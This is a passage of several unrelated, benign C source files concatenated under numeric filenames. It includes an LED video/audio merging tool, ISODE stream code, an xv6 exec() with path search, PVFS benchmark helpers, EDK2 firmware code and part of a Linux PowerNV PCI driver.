Comments: -------------------------------------------------------------------- Changes: \------------------------------------------------------------------*/ int MIMEH_get_defect_count( struct MIMEH_header_info *hinfo ) { return hinfo->header_defect_count; } //----------------------END
56879.c
/* OctoWS2811 addaudio.c - Merge image and sound data to VIDEO.BIN for Teensy 3.1 running OctoWS2811 VideoSDcard.ino http://www.pjrc.com/teensy/td_libs_OctoWS2811.html Copyright (c) 2014 Paul Stoffregen, PJRC.COM, LLC Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // Basis Usage: // // First, run movie2sdcard.pde with Processing.... // // Merge "myvideo.bin" image data, created by movie2sdcard.pde, // and "myvideo.raw" audio data, created by ffmpeg & sox, // to create "VIDEO.BIN" which can be played by VideoSDcard.ino // // Run with these commands: // // ./ffmpeg -i myvideo.mov -vn -f wav myvideo.wav // ./sox myvideo.wav -c 1 -b 16 -r 44117.647 myvideo.raw // ./addaudio // // Then copy VIDEO.BIN to a Micro SD card and play it on your LEDs :-) // // Compile with: // // gcc -O2 -Wall -o addaudio addaudio.c #define VIDEO_INFILE "myvideo.bin" #define AUDIO_INFILE "myvideo.raw" #define OUTFILE "VIDEO.BIN" #define SAMPLE_RATE 44117.64706 #include <stdio.h> #include <stdint.h> #include <stdarg.h> #include <stdlib.h> void die(const char *format, ...) __attribute__ ((format (printf, 1, 2))); int main() { FILE *fpa, *fpv, *fout; unsigned char header[5], header2[5]; unsigned char vbuf[65536], abuf[65536]; unsigned int usec; uint64_t elapsed_usec=0LL; //double elapsed_usec=0.0; unsigned int target_samples, elapsed_samples=0; unsigned int samples; size_t n, size; fpv = fopen(VIDEO_INFILE, "rb"); if (!fpv) die("unable to read %s\n", VIDEO_INFILE); fpa = fopen(AUDIO_INFILE, "rb"); if (!fpa) die("unable to read %s\n", AUDIO_INFILE); fout = fopen(OUTFILE, "wb"); if (!fout) die("unable to write %s\n", OUTFILE); while (!feof(fpv)) { n = fread(header, 1, 5, fpv); if (n != 5) { if (feof(fpv)) break; die("unable to read video header"); } if (header[0] == '*') { size = (header[1] | (header[2] << 8)) * 3; usec = header[3] | (header[4] << 8); if (size > sizeof(vbuf)) die("vbuf not big enough"); n = fread(vbuf, 1, size, fpv); if (n != size) die("unable to read video data"); printf("v: %u %u", (int)size, usec); if (usec == 0xFFFF) die("opps"); elapsed_usec += usec; target_samples = ((uint64_t)elapsed_usec * (uint64_t)(SAMPLE_RATE * 1000.0) / 1000000000LL); //target_samples = elapsed_usec / 1e6 * SAMPLE_RATE; target_samples += 2560; // try to always buffer 2.5K samples = (target_samples - elapsed_samples + 127) / 128 * 128; elapsed_samples += samples; printf(", s=%u, n=%u", target_samples, samples); n = fread(abuf, 1, samples*2, fpa); if (n < samples*2) { printf(", n(audio) = %d", (int)n); n &= ~1; } header2[0] = '%'; header2[1] = samples & 255; header2[2] = samples >> 8; header2[3] = 0; header2[4] = 0; fwrite(header2, 1, 5, fout); fwrite(abuf, 2, samples, fout); fwrite(header, 1, 5, fout); fwrite(vbuf, 1, size, fout); } else if (header[0] == '%') { // skip audio, if input file has any size = (header[1] | (header[2] << 8)) * 3; n = fread(vbuf, 1, size, fpv); if (n != size) die("unable to read video data"); } else { die("unknown header type"); } printf("\n"); } return 0; } void die(const char *format, ...) { va_list args; va_start(args, format); fprintf(stderr, "addaudio: "); vfprintf(stderr, format, args); fprintf(stderr, "\n"); exit(1); }
281740.c
#include <new> struct S { int i = 0; S() {} }; auto& s = *new (reinterpret_cast<void*>(0xa100)) S;
521809.c
/* str2ps.c - string-backed abstraction for PStreams */ #ifndef lint static char *rcsid = "$Header: /xtel/isode/isode/psap/RCS/str2ps.c,v 9.0 1992/06/16 12:25:44 isode Rel $"; #endif /* * $Header: /xtel/isode/isode/psap/RCS/str2ps.c,v 9.0 1992/06/16 12:25:44 isode Rel $ * * * $Log: str2ps.c,v $ * Revision 9.0 1992/06/16 12:25:44 isode * Release 8.0 * */ /* * NOTICE * * Acquisition, use, and distribution of this module and related * materials are subject to the restrictions of a license agreement. * Consult the Preface in the User's Manual for the full terms of * this agreement. * */ /* LINTLIBRARY */ #include <stdio.h> #include "psap.h" /* */ /* ARGSUSED */ static int str_read (ps, data, n, in_line) register PS ps; PElementData data; PElementLen n; int in_line; { register int cc; if (ps -> ps_base == NULLCP || (cc = ps -> ps_cnt) <= 0) return 0; if (cc > n) cc = n; bcopy (ps -> ps_ptr, (char *) data, cc); ps -> ps_ptr += cc, ps -> ps_cnt -= cc; return cc; } /* ARGSUSED */ static int str_write (ps, data, n, in_line) register PS ps; PElementData data; PElementLen n; int in_line; { register int cc; register char *cp; if (ps -> ps_base == NULLCP) { if ((cp = malloc ((unsigned) (cc = n + BUFSIZ))) == NULLCP) return ps_seterr (ps, PS_ERR_NMEM, NOTOK); ps -> ps_base = ps -> ps_ptr = cp; ps -> ps_bufsiz = ps -> ps_cnt = cc; } else if (ps -> ps_cnt < n) { register int curlen = ps -> ps_ptr - ps -> ps_base; if (ps -> ps_inline) { n = ps -> ps_cnt; goto partial; } if ((cp = realloc (ps -> ps_base, (unsigned) (ps -> ps_bufsiz + (cc = n + BUFSIZ)))) == NULLCP) return ps_seterr (ps, PS_ERR_NMEM, NOTOK); ps -> ps_ptr = (ps -> ps_base = cp) + curlen; ps -> ps_bufsiz += cc, ps -> ps_cnt += cc; } partial: ; bcopy ((char *) data, ps -> ps_ptr, n); ps -> ps_ptr += n, ps -> ps_cnt -= n; return n; } static int str_close (ps) register PS ps; { if (ps -> ps_base && !ps -> ps_inline) free (ps -> ps_base); return OK; } /* */ int str_open (ps) register PS ps; { ps -> ps_readP = str_read; ps -> ps_writeP = str_write; ps -> ps_closeP = str_close; return OK; } int str_setup (ps, cp, cc, in_line) register PS ps; register char *cp; register int cc; int in_line; { register char *dp; if (in_line) { ps -> ps_inline = 1; ps -> ps_base = ps -> ps_ptr = cp; ps -> ps_bufsiz = ps -> ps_cnt = cc; } else if (cc > 0) { if ((dp = malloc ((unsigned) (cc))) == NULLCP) return ps_seterr (ps, PS_ERR_NMEM, NOTOK); ps -> ps_base = ps -> ps_ptr = dp; if (cp != NULLCP) bcopy (cp, dp, cc); ps -> ps_bufsiz = ps -> ps_cnt = cc; } return OK; }
638666.c
#include "types.h" #include "param.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" #include "defs.h" #include "x86.h" #include "elf.h" int get_size_string(char* string){ int i=0; while(1){ if(string[i]=='\0') break; i++; } return i; } int exec(char *path, char **argv) { char *s, *last; int i, off; uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); int ii=0; char temp[100]; int j=0; int fsize=get_size_string(path); int found=0;//found == 0 if ip not found int size=get_size_string(add_path); int psize=get_size_string(path); int c=0; begin_op(); //add if(size>0){ for(j=0;j<size;j++){ while(add_path[j]!=':'){ temp[ii]=add_path[j]; ii++; j++; if(j>=size) break; } temp[ii]='/'; ii++; for(c=0;c<fsize;c++){ temp[ii+c]=path[c];} temp[ii+c]='\0'; ii=0; //cprintf("search path:%s\n",temp); ip=namei(temp); if(ip != 0){ found=1; break; } } if(!found){ if(path[0]!='/'){ temp[0]='/'; for (c=0;c<psize;c++){ temp[c+1]=path[c]; } temp[c+1]='\0'; } if(path[0]!='/') ip=namei(temp); else ip=namei(path); if(ip !=0 ){ found=1; } } //add if(!found){ end_op(); cprintf("exec: fail\n"); return -1; } } else{ ip=namei(path); if(ip == 0){ end_op(); cprintf("exec: fail\n"); return -1; } } ilock(ip); pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) goto bad; if(elf.magic != ELF_MAGIC) goto bad; if((pgdir = setupkvm()) == 0) goto bad; // Load program into memory. sz = 0; for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) goto bad; if(ph.type != ELF_PROG_LOAD) continue; if(ph.memsz < ph.filesz) goto bad; if(ph.vaddr + ph.memsz < ph.vaddr) goto bad; if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) goto bad; if(ph.vaddr % PGSIZE != 0) goto bad; if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) goto bad; } iunlockput(ip); end_op(); ip = 0; // Allocate two pages at the next page boundary. // Make the first inaccessible. Use the second as the user stack. sz = PGROUNDUP(sz); if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) goto bad; clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); sp = sz; // Push argument strings, prepare rest of stack in ustack. for(argc = 0; argv[argc]; argc++) { if(argc >= MAXARG) goto bad; sp = (sp - (strlen(argv[argc]) + 1)) & ~3; if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) goto bad; ustack[3+argc] = sp; } ustack[3+argc] = 0; ustack[0] = 0xffffffff; // fake return PC ustack[1] = argc; ustack[2] = sp - (argc+1)*4; // argv pointer sp -= (3+argc+1) * 4; if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) goto bad; // Save program name for debugging. for(last=s=path; *s; s++) if(*s == '/') last = s+1; safestrcpy(curproc->name, last, sizeof(curproc->name)); // Commit to the user image. oldpgdir = curproc->pgdir; curproc->pgdir = pgdir; curproc->sz = sz; /*curproc->start = 1; curproc->finish = 100000; curproc->queuenum = 1;*/ curproc->tf->eip = elf.entry; // main curproc->tf->esp = sp; switchuvm(curproc); freevm(oldpgdir); return 0; bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); end_op(); } return -1; }
984986.c
/* * (C) 2001 Clemson University and The University of Chicago * * See COPYING in top-level directory. */ #include <stdio.h> #include <stdlib.h> #ifndef WIN32 #include <unistd.h> #endif #include <errno.h> #include <math.h> #include <mpi.h> #include "bmi.h" #include "bench-mem.h" int alloc_buffers( struct mem_buffers *bufs, int num_buffers, int size) { int i = 0; bufs->buffers = (void **) malloc(num_buffers * sizeof(void *)); if (!bufs->buffers) { return (-1); } for (i = 0; i < num_buffers; i++) { bufs->buffers[i] = (void *) malloc(size); if (!bufs->buffers[i]) { return (-1); } } bufs->num_buffers = num_buffers; bufs->size = size; return (0); } int BMI_alloc_buffers( struct mem_buffers *bufs, int num_buffers, int size, PVFS_BMI_addr_t addr, enum bmi_op_type send_recv) { int i = 0; bufs->buffers = (void **) malloc(num_buffers * sizeof(void *)); if (!bufs->buffers) { return (-1); } for (i = 0; i < num_buffers; i++) { bufs->buffers[i] = (void *) BMI_memalloc(addr, size, send_recv); if (!bufs->buffers[i]) { return (-1); } } bufs->num_buffers = num_buffers; bufs->size = size; return (0); } int free_buffers( struct mem_buffers *bufs) { int i = 0; for (i = 0; i < bufs->num_buffers; i++) { free(bufs->buffers[i]); } free(bufs->buffers); bufs->num_buffers = 0; bufs->size = 0; return (0); } int BMI_free_buffers( struct mem_buffers *bufs, PVFS_BMI_addr_t addr, enum bmi_op_type send_recv) { int i = 0; for (i = 0; i < bufs->num_buffers; i++) { BMI_memfree(addr, bufs->buffers[i], bufs->size, send_recv); } free(bufs->buffers); bufs->num_buffers = 0; bufs->size = 0; return (0); } int mark_buffers( struct mem_buffers *bufs) { long i = 0; int buf_index = 0; int buf_offset = 0; int longs_per_buf = 0; if ((bufs->size % (sizeof(long))) != 0) { fprintf(stderr, "Could not mark, odd size.\n"); return (-1); } longs_per_buf = bufs->size / sizeof(long); for (i = 0; i < (bufs->num_buffers * longs_per_buf); i++) { buf_index = i / longs_per_buf; buf_offset = i % longs_per_buf; ((long *) (bufs->buffers[buf_index]))[buf_offset] = i; } return (0); } int check_buffers( struct mem_buffers *bufs) { long i = 0; int buf_index = 0; int buf_offset = 0; int longs_per_buf = 0; longs_per_buf = bufs->size / sizeof(long); for (i = 0; i < (bufs->num_buffers * longs_per_buf); i++) { buf_index = i / longs_per_buf; buf_offset = i % longs_per_buf; if (((long *) (bufs->buffers[buf_index]))[buf_offset] != i) { fprintf(stderr, "check_buffers() failure.\n"); fprintf(stderr, "buffer: %d, offset: %d\n", buf_index, buf_offset); fprintf(stderr, "expected: %ld, got: %ld\n", i, ((long *) (bufs->buffers[buf_index]))[buf_offset]); return (-1); } } return (0); } /* * Local variables: * c-indent-level: 4 * c-basic-offset: 4 * End: * * vim: ts=8 sts=4 sw=4 expandtab */
350479.c
/** @file Decide whether the firmware should expose an ACPI- and/or a Device Tree-based hardware description to the operating system. Copyright (c) 2017, Red Hat, Inc. This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. **/ #include <Guid/PlatformHasAcpi.h> #include <Guid/PlatformHasDeviceTree.h> #include <Library/BaseLib.h> #include <Library/DebugLib.h> #include <Library/PcdLib.h> #include <Library/QemuFwCfgLib.h> #include <Library/UefiBootServicesTableLib.h> EFI_STATUS EFIAPI PlatformHasAcpiDt ( IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable ) { EFI_STATUS Status; FIRMWARE_CONFIG_ITEM FwCfgItem; UINTN FwCfgSize; // // If we fail to install any of the necessary protocols below, the OS will be // unbootable anyway (due to lacking hardware description), so tolerate no // errors here. // if (MAX_UINTN == MAX_UINT64 && !PcdGetBool (PcdForceNoAcpi) && !EFI_ERROR ( QemuFwCfgFindFile ( "etc/table-loader", &FwCfgItem, &FwCfgSize ) )) { // // Only make ACPI available on 64-bit systems, and only if QEMU generates // (a subset of) the ACPI tables. // Status = gBS->InstallProtocolInterface ( &ImageHandle, &gEdkiiPlatformHasAcpiGuid, EFI_NATIVE_INTERFACE, NULL ); if (EFI_ERROR (Status)) { goto Failed; } return Status; } // // Expose the Device Tree otherwise. // Status = gBS->InstallProtocolInterface ( &ImageHandle, &gEdkiiPlatformHasDeviceTreeGuid, EFI_NATIVE_INTERFACE, NULL ); if (EFI_ERROR (Status)) { goto Failed; } return Status; Failed: ASSERT_EFI_ERROR (Status); CpuDeadLoop (); // // Keep compilers happy. // return Status; }
478434.c
/* * Support PCI/PCIe on PowerNV platforms * * Copyright 2011 Benjamin Herrenschmidt, IBM Corp. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. */ #undef DEBUG #include <linux/kernel.h> #include <linux/pci.h> #include <linux/debugfs.h> #include <linux/delay.h> #include <linux/string.h> #include <linux/init.h> #include <linux/bootmem.h> #include <linux/irq.h> #include <linux/io.h> #include <linux/msi.h> #include <asm/sections.h> #include <asm/io.h> #include <asm/prom.h> #include <asm/pci-bridge.h> #include <asm/machdep.h> #include <asm/msi_bitmap.h> #include <asm/ppc-pci.h> #include <asm/opal.h> #include <asm/iommu.h> #include <asm/tce.h> #include <asm/xics.h> #include <asm/debug.h> #include "powernv.h" #include "pci.h" #define define_pe_printk_level(func, kern_level) \ static int func(const struct pnv_ioda_pe *pe, const char *fmt, ...) \ { \ struct va_format vaf; \ va_list args; \ char pfix[32]; \ int r; \ \ va_start(args, fmt); \ \ vaf.fmt = fmt; \ vaf.va = &args; \ \ if (pe->pdev) \ strlcpy(pfix, dev_name(&pe->pdev->dev), \ sizeof(pfix)); \ else \ sprintf(pfix, "%04x:%02x ", \ pci_domain_nr(pe->pbus), \ pe->pbus->number); \ r = printk(kern_level "pci %s: [PE# %.3d] %pV", \ pfix, pe->pe_number, &vaf); \ \ va_end(args); \ \ return r; \ } \ define_pe_printk_level(pe_err, KERN_ERR); define_pe_printk_level(pe_warn, KERN_WARNING); define_pe_printk_level(pe_info, KERN_INFO); /* * stdcix is only supposed to be used in hypervisor real mode as per * the architecture spec */ static inline void __raw_rm_writeq(u64 val, volatile void __iomem *paddr) { __asm__ __volatile__("stdcix %0,0,%1" : : "r" (val), "r" (paddr) : "memory"); } static int pnv_ioda_alloc_pe(struct pnv_phb *phb) { unsigned long pe; do { pe = find_next_zero_bit(phb->ioda.pe_alloc, phb->ioda.total_pe, 0); if (pe >= phb->ioda.total_pe) return IODA_INVALID_PE; } while(test_and_set_bit(pe, phb->ioda.pe_alloc)); phb->ioda.pe_array[pe].phb = phb; phb->ioda.pe_array[pe].pe_number = pe; return pe; } static void pnv_ioda_free_pe(struct pnv_phb *phb, int pe) { WARN_ON(phb->ioda.pe_array[pe].pdev); memset(&phb->ioda.pe_array[pe], 0, sizeof(struct pnv_ioda_pe)); clear_bit(pe, phb->ioda.pe_alloc); } /* Currently those 2 are only used when MSIs are enabled, this will change * but in the meantime, we need to protect them to avoid warnings */ #ifdef CONFIG_PCI_MSI static struct pnv_ioda_pe *pnv_ioda_get_pe(struct pci_dev *dev) { struct pci_controller *hose = pci_bus_to_host(dev->bus); struct pnv_phb *phb = hose->private_data; struct pci_dn *pdn = pci_get_pdn(dev); if (!pdn) return NULL; if (pdn->pe_number == IODA_INVALID_PE) return NULL; return &phb->ioda.pe_array[pdn->pe_number]; } #endif /* CONFIG_PCI_MSI */ static int pnv_ioda_configure_pe(struct pnv_phb *phb, struct pnv_ioda_pe *pe) { struct pci_dev *parent; uint8_t bcomp, dcomp, fcomp; long rc, rid_end, rid; /* Bus validation ? */ if (pe->pbus) { int count; dcomp = OPAL_IGNORE_RID_DEVICE_NUMBER; fcomp = OPAL_IGNORE_RID_FUNCTION_NUMBER; parent = pe->pbus->self; if (pe->flags & PNV_IODA_PE_BUS_ALL) count = pe->pbus->busn_res.end - pe->pbus->busn_res.start + 1; else count = 1; switch(count) { case 1: bcomp = OpalPciBusAll; break; case 2: bcomp = OpalPciBus7Bits; break; case 4: bcomp = OpalPciBus6Bits; break; case 8: bcomp = OpalPciBus5Bits; break; case 16: bcomp = OpalPciBus4Bits; break; case 32: bcomp = OpalPciBus3Bits; break; default: pr_err("%s: Number of subordinate busses %d" " unsupported\n", pci_name(pe->pbus->self), count); /* Do an exact match only */ bcomp = OpalPciBusAll; } rid_end = pe->rid + (count << 8); } else { parent = pe->pdev->bus->self; bcomp = OpalPciBusAll; dcomp = OPAL_COMPARE_RID_DEVICE_NUMBER; fcomp = OPAL_COMPARE_RID_FUNCTION_NUMBER; rid_end = pe->rid + 1; } /* * Associate PE in PELT. We need add the PE into the * corresponding PELT-V as well. Otherwise, the error * originated from the PE might contribute to other * PEs. */ rc = opal_pci_set_pe(phb->opal_id, pe->pe_number, pe->rid, bcomp, dcomp, fcomp, OPAL_MAP_PE); if (rc) { pe_err(pe, "OPAL error %ld trying to setup PELT table\n", rc); return -ENXIO; } rc = opal_pci_set_peltv(phb->opal_id, pe->pe_number, pe->pe_number, OPAL_ADD_PE_TO_DOMAIN); if (rc) pe_warn(pe, "OPAL error %d adding self to PELTV\n", rc); opal_pci_eeh_freeze_clear(phb->opal_id, pe->pe_number, OPAL_EEH_ACTION_CLEAR_FREEZE_ALL); /* Add to all parents PELT-V */ while (parent) { struct pci_dn *pdn = pci_get_pdn(parent); if (pdn && pdn->pe_number != IODA_INVALID_PE) { rc = opal_pci_set_peltv(phb->opal_id, pdn->pe_number, pe->pe_number, OPAL_ADD_PE_TO_DOMAIN); /* XXX What to do in case of error ? */ } parent = parent->bus->self; } /* Setup reverse map */ for (rid = pe->rid; rid < rid_end; rid++) phb->ioda.pe_rmap[rid] = pe->pe_number; /* Setup one MVTs on IODA1 */ if (phb->type == PNV_PHB_IODA1) { pe->mve_number = pe->pe_number; rc = opal_pci_set_mve(phb->opal_id, pe->mve_number, pe->pe_number); if (rc) { pe_err(pe, "OPAL error %ld setting up MVE %d\n", rc, pe->mve_number); pe->mve_number = -1; } else { rc = opal_pci_set_mve_enable(phb->opal_id, pe->mve_number, OPAL_ENABLE_MVE); if (rc) { pe_err(pe, "OPAL error %ld enabling MVE %d\n", rc, pe->mve_number); pe->mve_number = -1; } } } else if (phb->type == PNV_PHB_IODA2) pe->mve_number = 0; return 0; } static void pnv_ioda_link_pe_by_weight(struct pnv_phb *phb, struct pnv_ioda_pe *pe) { struct pnv_ioda_pe *lpe; list_for_each_entry(lpe, &phb->ioda.pe_dma_list, dma_link) { if (lpe->dma_weight < pe->dma_weight) { list_add_tail(&pe->dma_link, &lpe->dma_link); return; } } list_add_tail(&pe->dma_link, &phb->ioda.pe_dma_list); } static unsigned int pnv_ioda_dma_weight(struct pci_dev *dev) { /* This is quite simplistic. The "base" weight of a device * is 10. 0 means no DMA is to be accounted for it. */ /* If it's a bridge, no DMA */ if (dev->hdr_type != PCI_HEADER_TYPE_NORMAL) return 0; /* Reduce the weight of slow USB controllers */ if (dev->class == PCI_CLASS_SERIAL_USB_UHCI || dev->class == PCI_CLASS_SERIAL_USB_OHCI || dev->class == PCI_CLASS_SERIAL_USB_EHCI) return 3; /* Increase the weight of RAID (includes Obsidian) */ if ((dev->class >> 8) == PCI_CLASS_STORAGE_RAID) return 15; /* Default */ return 10; } #if 0 static struct pnv_ioda_pe *pnv_ioda_setup_dev_PE(struct pci_dev *dev) { struct pci_controller *hose = pci_bus_to_host(dev->bus); struct pnv_phb *phb = hose->private_data; struct pci_dn *pdn = pci_get_pdn(dev); struct pnv_ioda_pe *pe; int pe_num; if (!pdn) { pr_err("%s: Device tree node not associated properly\n", pci_name(dev)); return NULL; } if (pdn->pe_number != IODA_INVALID_PE) return NULL; /* PE#0 has been pre-set */ if (dev->bus->number == 0) pe_num = 0; else pe_num = pnv_ioda_alloc_pe(phb); if (pe_num == IODA_INVALID_PE) { pr_warning("%s: Not enough PE# available, disabling device\n", pci_name(dev)); return NULL; } /* NOTE: We get only one ref to the pci_dev for the pdn, not for the * pointer in the PE data structure, both should be destroyed at the * same time. However, this needs to be looked at more closely again * once we actually start removing things (Hotplug, SR-IOV, ...) * * At some point we want to remove the PDN completely anyways */ pe = &phb->ioda.pe_array[pe_num]; pci_dev_get(dev); pdn->pcidev = dev; pdn->pe_number = pe_num; pe->pdev = dev; pe->pbus = NULL; pe->tce32_seg = -1; pe->mve_number = -1; pe->rid = dev->bus->number << 8 | pdn->devfn; pe_info(pe, "Associated device to PE\n"); if (pnv_ioda_configure_pe(phb, pe)) { /* XXX What do we do here ? */ if (pe_num) pnv_ioda_free_pe(phb, pe_num); pdn->pe_number = IODA_INVALID_PE; pe->pdev = NULL; pci_dev_put(dev); return NULL; } /* Assign a DMA weight to the device */ pe->dma_weight = pnv_ioda_dma_weight(dev); if (pe->dma_weight != 0) { phb->ioda.dma_weight += pe->dma_weight; phb->ioda.dma_pe_count++; } /* Link the PE */ pnv_ioda_link_pe_by_weight(phb, pe); return pe; } #endif /* Useful for SRIOV case */ static void pnv_ioda_setup_same_PE(struct pci_bus *bus, struct pnv_ioda_pe *pe) { struct pci_dev *dev; list_for_each_entry(dev, &bus->devices, bus_list) { struct pci_dn *pdn = pci_get_pdn(dev); if (pdn == NULL) { pr_warn("%s: No device node associated with device !\n", pci_name(dev)); continue; } pci_dev_get(dev); pdn->pcidev = dev; pdn->pe_number = pe->pe_number; pe->dma_weight += pnv_ioda_dma_weight(dev); if ((pe->flags & PNV_IODA_PE_BUS_ALL) && dev->subordinate) pnv_ioda_setup_same_PE(dev->subordinate, pe); } } /* * There're 2 types of PCI bus sensitive PEs: One that is compromised of * single PCI bus. Another one that contains the primary PCI bus and its * subordinate PCI devices and buses. The second type of PE is normally * orgiriated by PCIe-to-PCI bridge or PLX switch downstream ports. */ static void pnv_ioda_setup_bus_PE(struct pci_bus *bus, int all) { struct pci_controller *hose = pci_bus_to_host(bus); struct pnv_phb *phb = hose->private_data; struct pnv_ioda_pe *pe; int pe_num; pe_num = pnv_ioda_alloc_pe(phb); if (pe_num == IODA_INVALID_PE) { pr_warning("%s: Not enough PE# available for PCI bus %04x:%02x\n", __func__, pci_domain_nr(bus), bus->number); return; } pe = &phb->ioda.pe_array[pe_num]; pe->flags = (all ? PNV_IODA_PE_BUS_ALL : PNV_IODA_PE_BUS); pe->pbus = bus; pe->pdev = NULL; pe->tce32_seg = -1; pe->mve_number = -1; pe->rid = bus->busn_res.start << 8; pe->dma_weight = 0; if (all) pe_info(pe, "Secondary bus %d..%d associated with PE#%d\n", bus->busn_res.start, bus->busn_res.end, pe_num); else pe_info(pe, "Secondary bus %d associated with PE#%d\n", bus->busn_res.start, pe_num); if (pnv_ioda_configure_pe(phb, pe)) { /* XXX What do we do here ? */ if (pe_num) pnv_ioda_free_pe(phb, pe_num); pe->pbus = NULL; return; } /* Associate it with all child devices */ pnv_ioda_setup_same_PE(bus, pe); /* Put PE to the list */ list_add_tail(&pe->list, &phb->ioda.pe_list); /* Account for one DMA PE if at least one DMA capable device exist * below the bridge */ if (pe->dma_weight != 0) { phb->ioda.dma_weight += pe->dma_weight; phb->ioda.dma_pe_count++; } /* Link the PE */ pnv_ioda_link_pe_by_weight(phb, pe); } static void pnv_ioda_setup_PEs(struct pci_bus *bus) { struct pci_dev *dev; pnv_ioda_setup_bus_PE(bus, 0); list_for_each_entry(dev, &bus->devices, bus_list) { if (dev->subordinate) { if (pci_pcie_type(dev) == PCI_EXP_TYPE_PCI_BRIDGE) pnv_ioda_setup_bus_PE(dev->subordinate, 1); else pnv_ioda_setup_PEs(dev->subordinate); } } } /* * Configure PEs so that the downstream PCI buses and devices * could have their associated PE#. Unfortunately, we didn't * figure out the way to identify the PLX bridge yet. So we * simply put the PCI bus and the subordinate behind the root * port to PE# here. The game rule here is expected to be changed * as soon as we can detected PLX bridge correctly. */ static void pnv_pci_ioda_setup_PEs(void) { struct pci_controller *hose, *tmp; list_for_each_entry_safe(hose, tmp, &hose_list, list_node) { pnv_ioda_setup_PEs(hose->bus); } } static void pnv_pci_ioda_dma_dev_setup(struct pnv_phb *phb, struct pci_dev *pdev) { struct pci_dn *pdn = pci_get_pdn(pdev); struct pnv_ioda_pe *pe; /* * The function can be called while the PE# * hasn't been assigned. Do nothing for the * case. */ if (!pdn || pdn->pe_number == IODA_INVALID_PE) return; pe = &phb->ioda.pe_array[pdn->pe_number]; set_iommu_table_base(&pdev->dev, &pe->tce32_table); } static void pnv_ioda_setup_bus_dma(struct pnv_ioda_pe *pe, struct pci_bus *bus) { struct pci_dev *dev; list_for_each_entry(dev, &bus->devices, bus_list) { set_iommu_table_base(&dev->dev, &pe->tce32_table); if (dev->subordinate) pnv_ioda_setup_bus_dma(pe, dev->subordinate); } } static void pnv_pci_ioda1_tce_invalidate(struct pnv_ioda_pe *pe, struct iommu_table *tbl, __be64 *startp, __be64 *endp, bool rm) { __be64 __iomem *invalidate = rm ? (__be64 __iomem *)pe->tce_inval_reg_phys : (__be64 __iomem *)tbl->it_index; unsigned long start, end, inc; start = __pa(startp); end = __pa(endp); /* BML uses this case for p6/p7/galaxy2: Shift addr and put in node */ if (tbl->it_busno) { start <<= 12; end <<= 12; inc = 128 << 12; start |= tbl->it_busno; end |= tbl->it_busno; } else if (tbl->it_type & TCE_PCI_SWINV_PAIR) { /* p7ioc-style invalidation, 2 TCEs per write */ start |= (1ull << 63); end |= (1ull << 63); inc = 16; } else { /* Default (older HW) */ inc = 128; } end |= inc - 1; /* round up end to be different than start */ mb(); /* Ensure above stores are visible */ while (start <= end) { if (rm) __raw_rm_writeq(cpu_to_be64(start), invalidate); else __raw_writeq(cpu_to_be64(start), invalidate); start += inc; } /* * The iommu layer will do another mb() for us on build() * and we don't care on free() */ } static void pnv_pci_ioda2_tce_invalidate(struct pnv_ioda_pe *pe, struct iommu_table *tbl, __be64 *startp, __be64 *endp, bool rm) { unsigned long start, end, inc; __be64 __iomem *invalidate = rm ? (__be64 __iomem *)pe->tce_inval_reg_phys : (__be64 __iomem *)tbl->it_index; /* We'll invalidate DMA address in PE scope */ start = 0x2ul << 60; start |= (pe->pe_number & 0xFF); end = start; /* Figure out the start, end and step */ inc = tbl->it_offset + (((u64)startp - tbl->it_base) / sizeof(u64)); start |= (inc << 12); inc = tbl->it_offset + (((u64)endp - tbl->it_base) / sizeof(u64)); end |= (inc << 12); inc = (0x1ul << 12); mb(); while (start <= end) { if (rm) __raw_rm_writeq(cpu_to_be64(start), invalidate); else __raw_writeq(cpu_to_be64(start), invalidate); start += inc; } } void pnv_pci_ioda_tce_invalidate(struct iommu_table *tbl, __be64 *startp, __be64 *endp, bool rm) { struct pnv_ioda_pe *pe = container_of(tbl, struct pnv_ioda_pe, tce32_table); struct pnv_phb *phb = pe->phb; if (phb->type == PNV_PHB_IODA1) pnv_pci_ioda1_tce_invalidate(pe, tbl, startp, endp, rm); else pnv_pci_ioda2_tce_invalidate(pe, tbl, startp, endp, rm); } static void pnv_pci_ioda_setup_dma_pe(struct pnv_phb *phb, struct pnv_ioda_pe *pe, unsigned int base, unsigned int segs) { struct page *tce_mem = NULL; const __be64 